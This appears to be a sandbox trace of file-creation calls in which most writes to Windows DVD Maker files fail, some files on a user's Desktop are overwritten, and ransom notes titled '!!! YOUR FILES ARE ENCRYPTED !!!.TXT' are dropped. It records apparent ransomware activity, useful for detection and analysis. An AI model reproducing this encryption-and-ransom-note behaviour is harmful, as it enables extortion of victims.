Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\fVnmRgB.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyScenesBackground.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyScenesBackground_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\LightBlueRectangle.PNG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\MainMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\navSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_leftarrow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_rightarrow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_uparrow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\mPMFaydeW_Z1.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\npPjpPkBj0e8sv5r_3Os.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-image-mask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\babypink.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_matte2.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_MATTE2_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_rgb6.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_RGB6_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Oi5UJnl8S3QT5u3Z1aK.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-back-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-next-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-previous-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\button-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\chapters-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-foreground.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\curtains.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_precomp_matte.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\q3_KkOtGMa_kZ.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_PreComp_MATTE_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_matte.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_MATTE_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_rgb.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_RGB_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\mainimage-mask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\notes-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\qhBkqrc.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\play-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\203x8subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\qo4i.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\r3y7E.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\pagecurl.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\UW3mA9Alfw1.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotsdarkoverlay.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\dotslightoverlay.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Vu2C Xn6dcLqd.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Full\pushplaysubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wm9M_.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\colorcycle.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\huemainsubpicture2.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\X0sfLA3O3CDiV.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\title_stripe.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\203x8subpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\blackbars60.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\XWwow.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\layers.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\y715JtsFgsckGK.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\YGBd2EF3nJPV FL.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-image-mask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-overlay.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZipOLuSTq7e22tKf.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-back-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-next-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-previous-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\button-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\button-overlay.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Memories_buttonClear.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_btn-back-static.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bZa3j\VOyZefA.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bZa3j\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_content-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\scrapbook.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_content-background.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_mainImage-mask.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_select-highlight.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\emB6IjF2pK\24dQhw2U_5X.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\emB6IjF2pK\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\1047x576black.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\15x15dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\decorative_rule.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\emB6IjF2pK\oY8E-mKrU.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\vintage.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\720x480blacksquare.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIconSubpictur.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Notes_loop.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Notes_loop_PAL.wmv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIconSubpict.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\performance.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\1fK-hQdNTXS9w5uW.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Mask1.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Subpicture1.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\PreviousMenuButtonIcon.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\PreviousMenuButtonIconSubpi.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
